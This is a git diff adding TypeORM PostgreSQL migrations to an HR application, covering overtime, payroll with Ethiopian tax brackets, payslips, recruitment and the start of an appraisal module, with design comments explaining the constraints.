"multiplier" numeric(5,2) NOT NULL, + "max_hours_per_day" numeric(5,2), + "statute_reference" varchar(64), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_overtime_rates_category" + CHECK ("category" IN ('DAY','NIGHT','REST_DAY','PUBLIC_HOLIDAY')), + -- Below 1.0 the "overtime" would pay less than ordinary time. + CONSTRAINT "ck_overtime_rates_multiplier" + CHECK ("multiplier" >= 1.00 AND "multiplier" <= 10.00), + CONSTRAINT "ck_overtime_rates_max_hours" + CHECK ("max_hours_per_day" IS NULL OR "max_hours_per_day" > 0) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_overtime_rates_org_category" + ON "hr"."overtime_rates" ("organization_id", "category") + WHERE "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."overtime_requests" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "employee_id" uuid NOT NULL, + "work_date" date NOT NULL, + "started_at" timestamptz NOT NULL, + "ended_at" timestamptz NOT NULL, + "hours" numeric(6,2) NOT NULL, + "category" varchar(24) NOT NULL, + "multiplier" numeric(5,2) NOT NULL, + "status" varchar(16) NOT NULL DEFAULT 'SUBMITTED', + "reason" varchar(512), + "approver_employee_id" uuid, + "decided_by_employee_id" uuid, + "decided_at" timestamptz, + "decision_note" varchar(512), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_overtime_requests_category" + CHECK ("category" IN ('DAY','NIGHT','REST_DAY','PUBLIC_HOLIDAY')), + CONSTRAINT "ck_overtime_requests_status" + CHECK ("status" IN ('SUBMITTED','APPROVED','REJECTED','WITHDRAWN')), + CONSTRAINT "ck_overtime_requests_span" CHECK ("ended_at" > "started_at"), + CONSTRAINT "ck_overtime_requests_hours" + CHECK ("hours" > 0 AND "hours" <= 24), + CONSTRAINT "ck_overtime_requests_multiplier" CHECK ("multiplier" >= 1.00), + CONSTRAINT "ck_overtime_requests_decision" CHECK ( + "status" NOT IN ('APPROVED','REJECTED') + OR ("decided_by_employee_id" IS NOT NULL AND "decided_at" IS NOT NULL) + ) + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_overtime_requests_employee" + ON "hr"."overtime_requests" ("employee_id", "work_date") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_overtime_requests_approver" + ON "hr"."overtime_requests" ("approver_employee_id") + WHERE "status" = 'SUBMITTED' + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."overtime_requests"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."overtime_rates"`); + await queryRunner.query( + `DROP TABLE IF EXISTS "hr"."attendance_regularizations"`, + ); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000009-HrPayrollFoundation.ts b/apps/edr-hr-api/src/migrations/3600000000009-HrPayrollFoundation.ts new file mode 100644 index 000000000..f3055759a --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000009-HrPayrollFoundation.ts @@ -0,0 +1,225 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Payroll foundation — Module 3.4, slice 1. + * + * Money is `numeric(14,2)` everywhere and never a float. Rates are + * `numeric(7,4)` so a 7% pension contribution is 0.0700 exactly rather than a + * binary approximation that drifts over 2,400 payslips. + * + * - `salary_components` the catalogue: basic, allowances, deductions and + * employer contributions, each saying how it is + * computed and whether it is taxable and pensionable. + * - `salary_structures` a named set of components, usually per grade. + * - `salary_structure_lines` the components in a structure, with their amounts. + * - `employee_salaries` what an employee is actually on, effective-dated — + * a raise must not rewrite last month's payslip. + * - `income_tax_brackets` Schedule B, effective-dated. The bands are DATA: + * Ethiopia has revised them before and will again, + * and a payslip recomputed under a later schedule + * than the month it belongs to is simply wrong. + * - `statutory_rates` pension and anything else expressed as a rate. + * + * No foreign keys into `iam.*`, as everywhere else in this schema. + */ +export class HrPayrollFoundation3600000000009 implements MigrationInterface { + name = "HrPayrollFoundation3600000000009"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."salary_components" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "code" varchar(32) NOT NULL, + "name" jsonb NOT NULL, + "component_type" varchar(24) NOT NULL, + "calculation" varchar(24) NOT NULL DEFAULT 'FIXED', + "default_amount" numeric(14,2), + "default_rate" numeric(7,4), + "is_taxable" boolean NOT NULL DEFAULT true, + "is_pensionable" boolean NOT NULL DEFAULT false, + "tax_exempt_amount" numeric(14,2), + "tax_exempt_rate_of_basic" numeric(7,4), + "affects_net_pay" boolean NOT NULL DEFAULT true, + "statute_reference" varchar(64), + "sort_order" smallint NOT NULL DEFAULT 100, + "is_active" boolean NOT NULL DEFAULT true, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_salary_components_type" + CHECK ("component_type" IN + ('BASIC','ALLOWANCE','DEDUCTION','EMPLOYER_CONTRIBUTION')), + CONSTRAINT "ck_salary_components_calculation" + CHECK ("calculation" IN + ('FIXED','PERCENT_OF_BASIC','PERCENT_OF_GROSS','PERCENT_OF_TAXABLE','STATUTORY')), + CONSTRAINT "ck_salary_components_amounts" + CHECK ("default_amount" IS NULL OR "default_amount" >= 0), + CONSTRAINT "ck_salary_components_rate" + CHECK ("default_rate" IS NULL OR ("default_rate" >= 0 AND "default_rate" <= 1)), + -- A partial exemption is expressed as a cap, a fraction of basic, or + -- both (the lower wins). Negative values would create phantom income. + CONSTRAINT "ck_salary_components_exempt" + CHECK (("tax_exempt_amount" IS NULL OR "tax_exempt_amount" >= 0) + AND ("tax_exempt_rate_of_basic" IS NULL + OR ("tax_exempt_rate_of_basic" >= 0 AND "tax_exempt_rate_of_basic" <= 1))) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_salary_components_org_code" + ON "hr"."salary_components" ("organization_id", "code") + WHERE "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."salary_structures" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "code" varchar(32) NOT NULL, + "name" jsonb NOT NULL, + "description" jsonb, + "job_title_id" uuid, + "is_active" boolean NOT NULL DEFAULT true, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_salary_structures_job_title" + FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles" ("id") + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_salary_structures_org_code" + ON "hr"."salary_structures" ("organization_id", "code") + WHERE "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."salary_structure_lines" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "salary_structure_id" uuid NOT NULL, + "salary_component_id" uuid NOT NULL, + "amount" numeric(14,2), + "rate" numeric(7,4), + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + CONSTRAINT "fk_structure_lines_structure" + FOREIGN KEY ("salary_structure_id") + REFERENCES "hr"."salary_structures" ("id") ON DELETE CASCADE, + CONSTRAINT "fk_structure_lines_component" + FOREIGN KEY ("salary_component_id") + REFERENCES "hr"."salary_components" ("id"), + CONSTRAINT "ck_structure_lines_amount" + CHECK ("amount" IS NULL OR "amount" >= 0), + CONSTRAINT "ck_structure_lines_rate" + CHECK ("rate" IS NULL OR ("rate" >= 0 AND "rate" <= 1)) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_structure_lines_component" + ON "hr"."salary_structure_lines" + ("salary_structure_id", "salary_component_id") + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."employee_salaries" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "employee_id" uuid NOT NULL, + "salary_structure_id" uuid, + "basic_salary" numeric(14,2) NOT NULL, + "currency" varchar(3) NOT NULL DEFAULT 'ETB', + "effective_from" date NOT NULL, + "effective_to" date, + "reason" varchar(256), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_employee_salaries_structure" + FOREIGN KEY ("salary_structure_id") + REFERENCES "hr"."salary_structures" ("id"), + CONSTRAINT "ck_employee_salaries_basic" CHECK ("basic_salary" >= 0), + CONSTRAINT "ck_employee_salaries_range" + CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from") + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_employee_salaries_employee" + ON "hr"."employee_salaries" ("employee_id", "effective_from") + `); + // One open salary per employee, or "what are they paid?" has two answers. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_salaries_open" + ON "hr"."employee_salaries" ("employee_id") + WHERE "effective_to" IS NULL AND "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."income_tax_brackets" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid, + "effective_from" date NOT NULL, + "effective_to" date, + "lower_bound" numeric(14,2) NOT NULL, + "upper_bound" numeric(14,2), + "rate" numeric(7,4) NOT NULL, + "deduction" numeric(14,2) NOT NULL DEFAULT 0, + "statute_reference" varchar(64), + "created_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_tax_brackets_bounds" + CHECK ("upper_bound" IS NULL OR "upper_bound" > "lower_bound"), + CONSTRAINT "ck_tax_brackets_rate" + CHECK ("rate" >= 0 AND "rate" <= 1), + CONSTRAINT "ck_tax_brackets_deduction" CHECK ("deduction" >= 0), + CONSTRAINT "ck_tax_brackets_range" + CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from") + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_tax_brackets_effective" + ON "hr"."income_tax_brackets" ("effective_from", "lower_bound") + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."statutory_rates" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid, + "code" varchar(48) NOT NULL, + "name" jsonb NOT NULL, + "rate" numeric(7,4) NOT NULL, + "effective_from" date NOT NULL, + "effective_to" date, + "statute_reference" varchar(64), + "created_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_statutory_rates_rate" + CHECK ("rate" >= 0 AND "rate" <= 1), + CONSTRAINT "ck_statutory_rates_range" + CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from") + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_statutory_rates_code" + ON "hr"."statutory_rates" ("code", "effective_from") + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."statutory_rates"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."income_tax_brackets"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."employee_salaries"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."salary_structure_lines"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."salary_structures"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."salary_components"`); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000010-HrPayrollRuns.ts b/apps/edr-hr-api/src/migrations/3600000000010-HrPayrollRuns.ts new file mode 100644 index 000000000..9fb9bee91 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000010-HrPayrollRuns.ts @@ -0,0 +1,146 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Payroll runs and payslips — Module 3.4, slice 2. + * + * A payslip stores COMPUTED AMOUNTS, never formulas. Once a run is approved the + * numbers are what was paid, reported to tax and contributed to pension; a + * payslip that recalculates on read would silently restate the past the first + * time a rate, a structure or a salary changed. + * + * `payslip_lines` is deliberately fine-grained — one row per component per + * employee — because the tax and pension reports read it, and reconstructing + * "how much transport allowance did we pay in Hamle" from a total is not + * possible after the fact. + * + * The run's state machine is DRAFT → CALCULATED → APPROVED → PAID. Calculation + * is repeatable while DRAFT or CALCULATED and refused afterwards. + */ +export class HrPayrollRuns3600000000010 implements MigrationInterface { + name = "HrPayrollRuns3600000000010"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."payroll_runs" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "period_start" date NOT NULL, + "period_end" date NOT NULL, + "payment_date" date, + "status" varchar(16) NOT NULL DEFAULT 'DRAFT', + "note" varchar(512), + "employee_count" integer NOT NULL DEFAULT 0, + "total_gross" numeric(16,2) NOT NULL DEFAULT 0, + "total_deductions" numeric(16,2) NOT NULL DEFAULT 0, + "total_net" numeric(16,2) NOT NULL DEFAULT 0, + "total_income_tax" numeric(16,2) NOT NULL DEFAULT 0, + "total_pension_employee" numeric(16,2) NOT NULL DEFAULT 0, + "total_pension_employer" numeric(16,2) NOT NULL DEFAULT 0, + "calculated_at" timestamptz, + "approved_by_employee_id" uuid, + "approved_at" timestamptz, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_payroll_runs_status" + CHECK ("status" IN ('DRAFT','CALCULATED','APPROVED','PAID','CANCELLED')), + CONSTRAINT "ck_payroll_runs_period" + CHECK ("period_end" >= "period_start"), + CONSTRAINT "ck_payroll_runs_approval" CHECK ( + "status" NOT IN ('APPROVED','PAID') + OR ("approved_by_employee_id" IS NOT NULL AND "approved_at" IS NOT NULL) + ) + ) + `); + // One run per organization per period. A second would double-pay everyone. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_payroll_runs_org_period" + ON "hr"."payroll_runs" ("organization_id", "period_start", "period_end") + WHERE "deleted_at" IS NULL AND "status" <> 'CANCELLED' + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."payslips" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "payroll_run_id" uuid NOT NULL, + "organization_id" uuid NOT NULL, + "employee_id" uuid NOT NULL, + "employee_number" varchar(32), + "basic_salary" numeric(14,2) NOT NULL DEFAULT 0, + "gross_pay" numeric(14,2) NOT NULL DEFAULT 0, + "taxable_income" numeric(14,2) NOT NULL DEFAULT 0, + "pensionable_income" numeric(14,2) NOT NULL DEFAULT 0, + "income_tax" numeric(14,2) NOT NULL DEFAULT 0, + "pension_employee" numeric(14,2) NOT NULL DEFAULT 0, + "pension_employer" numeric(14,2) NOT NULL DEFAULT 0, + "total_deductions" numeric(14,2) NOT NULL DEFAULT 0, + "net_pay" numeric(14,2) NOT NULL DEFAULT 0, + "worked_days" numeric(6,2), + "absent_days" numeric(6,2), + "overtime_hours" numeric(8,2) NOT NULL DEFAULT 0, + "salary_mode" varchar(16), + "bank_account" varchar(64), + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + CONSTRAINT "fk_payslips_run" + FOREIGN KEY ("payroll_run_id") + REFERENCES "hr"."payroll_runs" ("id") ON DELETE CASCADE, + CONSTRAINT "ck_payslips_amounts" CHECK ( + "gross_pay" >= 0 AND "total_deductions" >= 0 + AND "income_tax" >= 0 AND "pension_employee" >= 0 + AND "pension_employer" >= 0 + ) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_payslips_run_employee" + ON "hr"."payslips" ("payroll_run_id", "employee_id") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_payslips_employee" + ON "hr"."payslips" ("employee_id") + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."payslip_lines" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "payslip_id" uuid NOT NULL, + "salary_component_id" uuid, + "code" varchar(32) NOT NULL, + "name" jsonb NOT NULL, + "component_type" varchar(24) NOT NULL, + "amount" numeric(14,2) NOT NULL, + "taxable_amount" numeric(14,2) NOT NULL DEFAULT 0, + "is_taxable" boolean NOT NULL DEFAULT true, + "is_pensionable" boolean NOT NULL DEFAULT false, + "affects_net_pay" boolean NOT NULL DEFAULT true, + "basis" varchar(256), + "sort_order" smallint NOT NULL DEFAULT 100, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + CONSTRAINT "fk_payslip_lines_payslip" + FOREIGN KEY ("payslip_id") + REFERENCES "hr"."payslips" ("id") ON DELETE CASCADE, + CONSTRAINT "ck_payslip_lines_type" + CHECK ("component_type" IN + ('BASIC','ALLOWANCE','DEDUCTION','EMPLOYER_CONTRIBUTION')) + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_payslip_lines_payslip" + ON "hr"."payslip_lines" ("payslip_id") + `); + // The tax and pension reports read by code across a period. + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_payslip_lines_code" + ON "hr"."payslip_lines" ("code") + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."payslip_lines"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."payslips"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."payroll_runs"`); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000011-HrRecruitment.ts b/apps/edr-hr-api/src/migrations/3600000000011-HrRecruitment.ts new file mode 100644 index 000000000..9c7a7c3e6 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000011-HrRecruitment.ts @@ -0,0 +1,264 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Recruitment — Module 3.5. + * + * - `job_openings` a vacancy: which IAM position it fills, how many, and + * where it is in its own approval lifecycle. + * - `applicants` a person outside the organization. Deliberately NOT an + * `iam.users` row: most applicants are never hired, and + * creating accounts for them would fill IAM with people + * who have no relationship to the employer. An IAM + * account is created only at hire, through the same + * endpoint HR uses to hire anyone else. + * - `applications` one applicant against one opening, with the stage they + * have reached. + * - `interviews` scheduled sessions and their scores. + * - `job_offers` what was offered, and what happened to it. + * + * `applications.stage` is a single column rather than a table of transitions: + * the history that matters is captured by the interviews and the offer, and a + * separate audit of stage moves would be a lot of rows nobody reads. + */ +export class HrRecruitment3600000000011 implements MigrationInterface { + name = "HrRecruitment3600000000011"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."job_openings" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "reference" varchar(32) NOT NULL, + "title" jsonb NOT NULL, + "description" jsonb, + "position_id" uuid, + "unit_id" uuid, + "job_title_id" uuid, + "employment_type" varchar(16) NOT NULL DEFAULT 'PERMANENT', + "openings" smallint NOT NULL DEFAULT 1, + "filled" smallint NOT NULL DEFAULT 0, + "status" varchar(16) NOT NULL DEFAULT 'DRAFT', + "visibility" varchar(16) NOT NULL DEFAULT 'INTERNAL', + "min_experience_years" smallint, + "education_requirement" varchar(128), + "salary_range_min" numeric(14,2), + "salary_range_max" numeric(14,2), + "posted_on" date, + "closes_on" date, + "hiring_manager_employee_id" uuid, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_job_openings_job_title" + FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles" ("id"), + CONSTRAINT "ck_job_openings_status" + CHECK ("status" IN ('DRAFT','OPEN','ON_HOLD','CLOSED','CANCELLED','FILLED')), + CONSTRAINT "ck_job_openings_visibility" + CHECK ("visibility" IN ('INTERNAL','EXTERNAL','BOTH')), + CONSTRAINT "ck_job_openings_counts" + CHECK ("openings" > 0 AND "filled" >= 0 AND "filled" <= "openings"), + CONSTRAINT "ck_job_openings_salary_range" + CHECK ("salary_range_min" IS NULL OR "salary_range_max" IS NULL + OR "salary_range_max" >= "salary_range_min"), + CONSTRAINT "ck_job_openings_dates" + CHECK ("closes_on" IS NULL OR "posted_on" IS NULL + OR "closes_on" >= "posted_on") + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_openings_org_reference" + ON "hr"."job_openings" ("organization_id", "reference") + WHERE "deleted_at" IS NULL + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_job_openings_status" + ON "hr"."job_openings" ("organization_id", "status") + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."applicants" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "full_name" jsonb NOT NULL, + "email" varchar(128), + "phone_number" varchar(32) NOT NULL, + "gender" varchar(8), + "date_of_birth" date, + "nationality" varchar(64), + "education_level" varchar(64), + "years_experience" numeric(5,2), + "current_employer" varchar(128), + "source" varchar(24) NOT NULL DEFAULT 'DIRECT', + "notes" varchar(1024), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_applicants_gender" + CHECK ("gender" IS NULL OR "gender" IN ('MALE','FEMALE')), + CONSTRAINT "ck_applicants_source" + CHECK ("source" IN + ('DIRECT','REFERRAL','AGENCY','WEBSITE','NEWSPAPER','INTERNAL','OTHER')), + CONSTRAINT "ck_applicants_experience" + CHECK ("years_experience" IS NULL OR "years_experience" >= 0) + ) + `); + // Phone is the reliable identifier here — many applicants have no email. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_applicants_org_phone" + ON "hr"."applicants" ("organization_id", "phone_number") + WHERE "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."applications" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "job_opening_id" uuid NOT NULL, + "applicant_id" uuid NOT NULL, + "stage" varchar(24) NOT NULL DEFAULT 'APPLIED', + "applied_on" date NOT NULL, + "screening_score" numeric(5,2), + "rejection_reason" varchar(256), + "withdrawn_reason" varchar(256), + "cv_document_id" uuid, + "notes" varchar(1024), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_applications_opening" + FOREIGN KEY ("job_opening_id") REFERENCES "hr"."job_openings" ("id"), + CONSTRAINT "fk_applications_applicant" + FOREIGN KEY ("applicant_id") REFERENCES "hr"."applicants" ("id"), + CONSTRAINT "ck_applications_stage" + CHECK ("stage" IN + ('APPLIED','SCREENING','SHORTLISTED','INTERVIEW','OFFER', + 'HIRED','REJECTED','WITHDRAWN')), + CONSTRAINT "ck_applications_score" + CHECK ("screening_score" IS NULL + OR ("screening_score" >= 0 AND "screening_score" <= 100)) + ) + `); + // One application per person per opening. Re-applying is the same + // application moving stage, not a second row competing with the first. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_applications_opening_applicant" + ON "hr"."applications" ("job_opening_id", "applicant_id") + WHERE "deleted_at" IS NULL + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_applications_stage" + ON "hr"."applications" ("job_opening_id", "stage") + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."interviews" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "application_id" uuid NOT NULL, + "round" smallint NOT NULL DEFAULT 1, + "interview_type" varchar(24) NOT NULL DEFAULT 'PANEL', + "scheduled_at" timestamptz NOT NULL, + "duration_minutes" smallint NOT NULL DEFAULT 60, + "location" varchar(256), + "interviewer_employee_ids" uuid[], + "status" varchar(16) NOT NULL DEFAULT 'SCHEDULED', + "score" numeric(5,2), + "recommendation" varchar(16), + "feedback" varchar(2048), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_interviews_application" + FOREIGN KEY ("application_id") + REFERENCES "hr"."applications" ("id") ON DELETE CASCADE, + CONSTRAINT "ck_interviews_type" + CHECK ("interview_type" IN + ('PHONE','PANEL','TECHNICAL','WRITTEN','PRACTICAL','FINAL')), + CONSTRAINT "ck_interviews_status" + CHECK ("status" IN ('SCHEDULED','COMPLETED','CANCELLED','NO_SHOW')), + CONSTRAINT "ck_interviews_score" + CHECK ("score" IS NULL OR ("score" >= 0 AND "score" <= 100)), + CONSTRAINT "ck_interviews_recommendation" + CHECK ("recommendation" IS NULL + OR "recommendation" IN ('ADVANCE','HOLD','REJECT')), + CONSTRAINT "ck_interviews_round" CHECK ("round" > 0), + -- A completed interview must say how it went, or the record is useless + -- to the person deciding on the offer. + CONSTRAINT "ck_interviews_completed" + CHECK ("status" <> 'COMPLETED' OR "recommendation" IS NOT NULL) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_interviews_application_round" + ON "hr"."interviews" ("application_id", "round") + WHERE "deleted_at" IS NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."job_offers" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "application_id" uuid NOT NULL, + "offered_basic_salary" numeric(14,2) NOT NULL, + "salary_structure_id" uuid, + "employment_type" varchar(16) NOT NULL DEFAULT 'PERMANENT', + "proposed_start_date" date NOT NULL, + "probation_end_date" date, + "expires_on" date, + "status" varchar(16) NOT NULL DEFAULT 'DRAFT', + "decline_reason" varchar(256), + "responded_on" date, + "hired_employee_id" uuid, + "notes" varchar(1024), + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "fk_job_offers_application" + FOREIGN KEY ("application_id") REFERENCES "hr"."applications" ("id"), + CONSTRAINT "fk_job_offers_structure" + FOREIGN KEY ("salary_structure_id") + REFERENCES "hr"."salary_structures" ("id"), + CONSTRAINT "ck_job_offers_status" + CHECK ("status" IN + ('DRAFT','SENT','ACCEPTED','DECLINED','WITHDRAWN','EXPIRED')), + CONSTRAINT "ck_job_offers_salary" CHECK ("offered_basic_salary" > 0), + CONSTRAINT "ck_job_offers_probation" + CHECK ("probation_end_date" IS NULL + OR "probation_end_date" >= "proposed_start_date"), + -- An accepted offer must record who it turned into, or the link between + -- recruitment and the employee record is lost. + CONSTRAINT "ck_job_offers_declined" + CHECK ("status" <> 'DECLINED' OR "decline_reason" IS NOT NULL) + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_job_offers_application" + ON "hr"."job_offers" ("application_id") + `); + // One live offer per application. Two outstanding offers to one candidate + // is how somebody ends up hired on the wrong terms. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_offers_live" + ON "hr"."job_offers" ("application_id") + WHERE "status" IN ('DRAFT','SENT') AND "deleted_at" IS NULL + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_offers"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."interviews"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."applications"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."applicants"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_openings"`); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000012-HrAppraisal.ts b/apps/edr-hr-api/src/migrations/3600000000012-HrAppraisal.ts new file mode 100644 index 000000000..df8fa24c1 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000012-HrAppraisal.ts @@ -0,0 +1,227 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Performance appraisal — Module 3.6. + * + * - `appraisal_templates` the form: how it is scored and what the bands mean. + * - `appraisal_criteria` what is assessed, each with a weight. Weights must + * total 100 — enforced in the service, because a form + * whose weights sum to 87 produces scores that cannot + * be compared with anything. + * - `appraisal_cycles` a period everyone is appraised for. The template is + * COPIED into each appraisal when it opens, so editing + * a template later cannot restate a completed review. + * - `appraisals` one per employee per cycle, moving through self + * assessment, manager assessment, acknowledgement. + * - `appraisal_ratings` a score per criterion, self and manager side by side. + * - `appraisal_goals` objectives agreed at the start and rated at the end. + * + * Scores are `numeric(6,2)`. Percentages are stored as 0–100, weights the same, + * so a reader never has to guess 